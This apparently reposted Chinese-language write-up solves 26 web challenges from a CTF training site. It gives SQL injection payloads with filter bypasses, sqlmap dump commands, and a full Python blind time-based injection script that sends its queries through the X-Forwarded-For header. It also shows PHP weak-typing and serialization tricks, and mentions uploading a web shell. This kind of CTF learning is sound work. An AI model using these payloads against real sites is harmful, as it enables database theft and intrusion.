實驗吧web題(26/26)全writeup!超詳細:)

來源:互聯網
上載者:User

標籤:off   尋找   next   顯示   png   外掛程式   burpsuit   sql注入   管理   

#簡單的SQL注入

http://www.shiyanbar.com/ctf/1875

1)試著在?id=1,沒有錯誤

2)試著?id=1‘,出錯了,有回顯,說明有注入點:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the rightsyntax to use near ‘‘‘‘‘ at line 13)先預計後台表名為flag,所以構造union select flag from flag4)根據第二部判斷的依據,所以多加個‘,後面的語句需要再一個‘來結束,注入語句為?id=1‘union select flag from flag where ‘t‘=‘t回顯的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘t‘=‘t‘‘ at line 1
分析:根據報錯,只有變數了,其他的關鍵字都沒過濾了5)把關鍵字from,where寫兩遍試試,結果報錯:corresponds to your MySQL server version for the right syntax to use near ‘unionselectflag fromflag where‘t‘=‘t‘‘ at line 1發現空格被過濾!
6)用‘+‘號來代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t

 

#簡單的SQL注入之2

http://www.shiyanbar.com/ctf/1908

1.先正常顯示id=1 ,   id=2,   id=3  顯示正常說明只有三行

2.id=1‘  顯示mysql  語句錯誤 大概判斷mysql 語句為  select  name  from user where id=‘input‘

3.id=1 ‘  中間有一個空格  顯示 SQLi detected!  說明 空格被過濾

結合這三種顯示的 內容  能判斷    顯示的是1  的介面加上我們的sql 語句  才能真正的執行我們想要執行的注入語句

繼續簡單的 判斷

id=1‘%0Band%0B‘1‘=‘1   %0B  表示空格   還有的 類似  %0a-%0z  +  /**/都可以試試

顯示正常

ID: 1‘and‘1‘=‘1name: baloteli

然後 繼續測試

發現這個 邏輯 方法也 不錯

?id=1‘||`id`||‘  可以顯示 表中的資料  然後語句就是  select  name  from user where id=‘1‘||`id`||‘‘ 閉合的 想要顯示表中的所有記錄可以多加幾個||’‘  只要是語句是閉合的就可以

ID: 1‘||`id`||‘name: baloteli
ID: 1‘||`id`||‘name: kanawaluo
ID: 1‘||`id`||‘name: dengdeng

然後繼續 結合web1 我們可以猜到   還有一個flag表

發現  十六進位編碼就可以搞定

?id=1‘/*!u%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/‘‘=‘

直接 getflag

 

#簡單的SQL注入之3

http://www.shiyanbar.com/ctf/1909

本題,我才用SQL map來解;

1)構造SQL map命令:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

一路跑下來得到資料庫

2)再次構造判斷正確的資料庫:qlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

3)再次構造獲得表名:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

4)再次構造尋找flag表名中的列:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

5)再次構造dump其中的內容:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"

tips:如果SQL map跑的很快的話推薦使用SQL map,但是掌握手工注入才是王道。

 

#天下武功唯快不破

http://www.shiyanbar.com/ctf/1854

首先看一下原始碼

讓我們提交找到的key進行post提交,看看要求標頭

發現flag,當然就是把key當參數提交解出的flag進行post提交啦,但是必須要快,那就只有指令碼了,下面附上指令碼

import requests
import base64

url = ‘http://ctf5.shiyanbar.com/web/10/10.php‘

rs = requests.get(url).headers[‘FLAG‘]

v = base64.b64decode(rs)

print requests.post(url=url,data={‘key‘:v.split(‘:‘)[1]}).content

tips:對於沒有requests模組和base64模組的同學可以pip下載,不會pip的可以參考我之前的部落格

 

#拐彎抹角

http://www.shiyanbar.com/ctf/1846

 

根據這段話,在url後面加index.php,即可得到flag

 

#Forms

http://www.shiyanbar.com/ctf/1819

先F12查看原始碼

發現showsource的值為0,改為1,得到隱藏的原始碼

出現

if ($a == -19827747736161128312837161661727773716166727272616149001823847)

將pin的值改為

-19827747736161128312837161661727773716166727272616149001823847得出結果 

 

#天網管理系統

http://www.shiyanbar.com/ctf/1810

首先右擊查看原始碼(手動滑稽

這裡要求我們輸入一個字串,經過md5後等於0,這是考驗php弱類型。這裡我提供4個都可以通過的值;

然後百度0開頭的MD5:http://www.mamicode.com/info-detail-1719711.html

在使用者名稱中輸入其中一個顯示

然後你懂;

開啟那個連結:

$unserialize_str = $_POST[‘password‘]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[‘user‘] == ‘???‘ && $data_unserialize[‘pass‘]==‘???‘) { print_r($flag); } 偉大的科學家php方言道:成也布爾,敗也布爾。 回去吧騷年

這段代碼不難懂,就是把post提交的password值經過"還原序列化"得到一個數組,要求數組裡的user和pass都滿足,就列印flag,但是我們無法得知‘???‘是什麼,但是我們可以注意到資訊中判斷條件使用的為==,也是php弱類型;

<?php if(true=="pcat"){ echo "ok"; } ?>

bool類型的true跟任一字元串可以弱類型相等的,當代碼中存在unserialize或者json_decode的時候,我們可以構造bool類型,來達到欺騙。現在我們構造一個數組,內瀚2個元素,分別是user和pass,都是bool類型的true,於是我們得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
(a代表array,s代表string,b代表bool,而數字代表個數/長度)

最後在密碼局域欄中用post提交就可以了。

 

#Once More

http://www.shiyanbar.com/ctf/1805

一道簡單的代碼審計題,根據if語句要求,password必須大於9999999而且還要等於*-*

ok,直接構造password就行,password=1e8%00*-*

(註:%00是單純在數中加“-”會無意義,使用%00截斷後,加上*-*

回顯得到flag,over!

 

#Guess Next Session

http://www.shiyanbar.com/ctf/1788

這一題需要用到Firefox瀏覽器,然後下個Firefox的外掛程式,cookies manager+

老規矩,先看原始碼

說明get擷取的值必須和session的值相等才行

使用cookies managers +,刪掉PHP session

直接guess

 

#FALSE

http://www.shiyanbar.com/ctf/1787

  1. <html>
  2. <head>
  3.     <title>level1</title>
  4.     <link rel=‘stylesheet‘ href=‘style.css‘ type=‘text/css‘>
  5. </head>
  6. <body>
  7. <?php
  8. require ‘flag.php‘;
  9. if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) {
  10.     if ($_GET[‘name‘] == $_GET[‘password‘])
  11.         print ‘Your password can not be your name.‘;
  12.     else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
  13.       die(‘Flag: ‘.$flag);
  14.     else
  15.         print ‘<p class="alert">Invalid password.</p>‘;
  16. }
  17. ?>
  18. <section class="login">
  19.     <div class="title">
  20.         <a href="./index.txt">Level 1</a>
  21.     </div>
  22.     <form method="get">
  23.         <input type="text" required name="name" placeholder="Name"/><br/>
  24.         <input type="text" required name="password" placeholder="Password" /><br/>
  25.         <input type="submit"/>
  26.     </form>
  27. </section>
  28. </body>

 

分析代碼邏輯,發現GET了兩個欄位name和password,獲得flag要求的條件是:name != password & sha1(name) == sha1(password),乍看起來這是不可能的,其實可以利用sha1()函數的漏洞來繞過。如果把這兩個欄位構造為數組,如:?name[]=a&password[]=b,這樣在第一處判斷時兩數組確實是不同的,但在第二處判斷時由於sha1()函數無法處理數群組類型,將報錯並返回false,if 條件成立,獲得flag。

 

#上傳繞過

http://www.shiyanbar.com/ctf/1781

菜刀,一句話木馬ok

 

#what a fuck!這是什麼鬼東西?

http://www.shiyanbar.com/ctf/56

很有特徵的,jother編碼,一堆括弧。可以線上解碼,不過為了離線考試,在chrome瀏覽器,F12,有一個console,粘貼全部代碼,斷行符號,彈出key

 

#這個看起來有點簡單

http://www.shiyanbar.com/ctf/33

使用SQL注入

聯合尋找

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1

查資料庫

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA

猜表名

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,TABLE_NAME%20from%20information_schema.TABLES

猜欄位

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS

k0y最可疑,於是提交

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey

 

#頭有點大

http://www.shiyanbar.com/ctf/29

Firefoxor chrome F12

 

點擊編輯和重發,編輯資訊,修改語言和增加一個.net framework 9.9,也就是添加.NET CLR 9.9(有個分號)

發送並預覽

 

#Forbidden

http://www.shiyanbar.com/ctf/21

F12,選擇網路,然後重新載入一下,點擊編輯和發送

修改zh-CN為zh-hk

發送後在預覽頁面即可看到flag

 

#貓捉老鼠

http://www.shiyanbar.com/ctf/20

根據題目提示“catch”,使用burpsuite抓包嘗試,並將抓包資料發送至Repeater

直接點擊GO,看Response輸出,發現表頭中存在以下一行內容提示

將“MTQ4ODg2ODA4MA==”複製後,替換Repeater中自己先前輸入的123,查看Response,發現已得到key

 

#登入一下好嗎?

http://www.shiyanbar.com/ctf/1942

解釋下:

先計算username=‘TG‘ 一般資料庫裡不可能有我這個小名(若有,你就換一個字串),所以這裡傳回值為0(相當於false)
然後0=‘‘ 這個結果呢?看到這裡估計你也懂了,就是返回1(相當於true)

所以這樣的注入相當於
select * from user where 1 and 1
也等於 select * from user
(這題只有篩選出來的結果有3個以上才會顯示flag,沒有就一直說“對不起,沒有此使用者!!”)

好了,繼續嘮叨幾句,上面那個比較是弱類型的比較,
以下情況都會為true
1=‘1‘
1=‘1.0‘
1=‘1後接字母(再後面有數字也可以)‘
0=‘除了非0數字開頭的字串‘
(總體上只要前面達成0的話,要使語句為true很簡單,所以這題的萬能密碼只要按照我上面的法子去寫一大把)

 

#who are you?

http://www.shiyanbar.com/ctf/1941

時間注入,不懂得搜百度,我直接上指令碼不BB了

import requests
import time
import sys

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘

def retriveCurrentDatabase():

ascii = -1
index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

return result

def retriveTable(database):

database = "‘" + database + "‘"

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select table_name from information_schema.tables where table_schema=%s limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (database, row, index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == ‘\x00‘:
break
ascii = -1
print(‘‘)
row += 1

def dumpColumn():

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select flag from flag limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (row, index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.1:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == ‘\x00‘:
break
ascii = -1
row += 1

def main():
database = retriveCurrentDatabase()
print(‘\nCurrent database is %s‘ % database)
print(‘Let\‘s see the table name in the database!‘)
database = database.replace("\x00","")
retriveTable(database)
print(‘Let\‘s dump the flag!‘)
sys.stdout.write("ctf{")
dumpColumn()
sys.stdout.write("}")

if __name__ == ‘__main__‘:
main()

 

#因缺思廳的繞過

http://www.shiyanbar.com/ctf/1940

查看源碼得到這個東西,改變下url

出來了這個東西

  下面就是post資料的檢查,這裡不是狹義上的過濾,僅僅是檢查,檢查到敏感字元就輸出“水可載舟,亦可賽艇!”,結束。
主要檢查"and""select""from""where""union""join""sleep""benchmark"",""("")"這些sql中常用到的東西。

資料庫連接這塊沒什麼說的。接著就是將$_POST[‘uname‘]直接代入sql查詢interest表。驗證查詢結果是否一行,如果是將查詢結果的pwd列值與$_POST[‘pwd‘]比較,如相同則輸出FLAG。
程式似乎挺簡單,邏輯也明了清楚。要得到flag,得過兩個條件判斷:mysql_num_rows($query) == 1 和$key[‘pwd‘] == $_POST[‘pwd‘]。
相信有個別人,代碼都不看就直接拿出sqlmap,看完代碼,不建議這樣做,收益甚微啊。看看輸入檢查就知道了。
試想如果用union select控制查詢結果,那$key[‘pwd‘]和$_POST[‘pwd‘]就都在我們的控制之中了,但這條路的關鍵在於過輸入檢查。我手動試了很多方法,嘗試過輸入檢查,發現徒勞。再看看代碼,想想也是,這麼個檢查方法,似乎過不了檢查的。
於是重新調整戰略。我們要的是過兩個條件判斷,從這入手其實第一個條件判斷很好過:x‘ or 1 limit 1#,這就過了第一個檢查。再看第二個檢查$key[‘pwd‘] == $_POST[‘pwd‘]。由於資料庫中資料我們是無法獲得的,至少我擷取不了。想過這個條件只有控制了$key[‘pwd‘]才有可能。我摸索了很長時間,幾乎快放棄了,詢問了pcat此處是否有可為。答案是肯定的,又給了點提示。最後確定目標使$key[‘pwd‘]為NULL。可是輸入檢查很嚴,去了逗號,括弧等。為達到目標,我翻看mysql的手冊。過程漫長又非因缺思汀。早飯過程中腦子中一直過手冊內容。早飯過後,就想到了可利用之處。group by with rollup。
x‘or 1 group by pwd with rollup #

最後根據pwd為NULL,playload:x‘or 1 group by pwd with rollup limit 1 OFFSET 2#

 

#讓我進去

http://www.shiyanbar.com/ctf/1848

用雜湊長度擴充攻擊,原理嗎,搜百度,我不在這BB

推薦先看下這個連結:http://www.cnblogs.com/pcat/p/5478509.html

其中已經對這個方法做了詳細介紹了,我就不在贅述了

 

#忘記密碼了

http://www.shiyanbar.com/ctf/1808

首先Ctrl+U查看網頁原始碼:可以看到 admin"為"[email protected]"    編輯器為Vim。

隨便輸一個,彈出js框提示密碼放在step2.php裡。那麼直接開啟step2.php,發現一直跳回step.php。算了,直接用Fiddler看吧,果然是一個302重新導向。那麼訪問step2.php時,其實是將它內建的[email protected]發到submit.php裡去了。那麼我們再訪問submit.php,顯示的是"you are not an admin"。

這個方法不行,看了下別人的WriteUp,說是Vim會產生臨時檔案。那麼我們在瀏覽器裡訪問.submit.php.swp,果然有檔案。雖然有亂碼,但代碼勉強看的懂。這裡需要的是emailAddress和token兩個參數。emailAddress就是剛才個,而token做了判斷,必須為0且長度為10。

改變url:http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0000000000

 

#NSCTF web200

http://www.shiyanbar.com/ctf/1760

題目是一個php加密的,我們逆著就行了

$dd="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";$s=str_rot13($dd);$a=strrev($s);$b=base64_decode($a);for($e=0;$e {$g=substr($b,$e,1);$temp=ord($g)-1;$g=chr($temp);$aa=$aa.$g;}echo strrev($aa);?>

 

#程式邏輯問題

http://www.shiyanbar.com/ctf/62

這道題還是卡了幾個小時,

最後的playload:

user=1 union select concat(‘bcbe3365e6ac95ea2c0343a2395834dd‘)%23 &pass=222

開始我以為注入,最後注入出來發現pw欄位是111

於是嘗試了 弱類型 ,發現沒什麼軟用

最後想到union查詢

SELECT username FROM admin where id =-1 union select concat(‘bcbe3365e6ac95ea2c0343a2395834dd‘)

原理:當沒有id為-1的使用者時 就會顯示union後的語句 也就是 bcbe3365e6ac95ea2c0343a2395834dd

222的md5

同時提交pass=222 就金光一閃了

 

#PHP大法

http://www.shiyanbar.com/ctf/54

通過閱讀http://ctf5.shiyanbar.com/DUTCTF/index.php.txt中的代碼可以知道

id如果等於"hackerDJ"的話不會得到flag 但後面要求解碼後還是"hackerDJ"

所以需要第一次解碼不是"hackerDJ",而第二次是"hackerDJ",所以編碼兩次就好了

(不需要全部編碼,隨便找個字母,比如最後的J->%254A即可)

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A

 

#貌似有點難

http://www.shiyanbar.com/ctf/32

開啟burp攔截一個請求,在http頭部增加一個x欄位為1.1.1.1 轉寄出去。

然後就可以看見key了。

 

#看起來有點難

http://www.shiyanbar.com/ctf/2

SQL注入,簡單的很,只不過跑起來很慢,竟然是50分的,不知道過人之處在哪

題目沒有問題,這是嚇唬人罷了,應該就是這樣吧,要相信自己,別被眼前的事物所迷惑吧。

 紀念下

實驗吧web題(26/26)全writeup!超詳細:)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.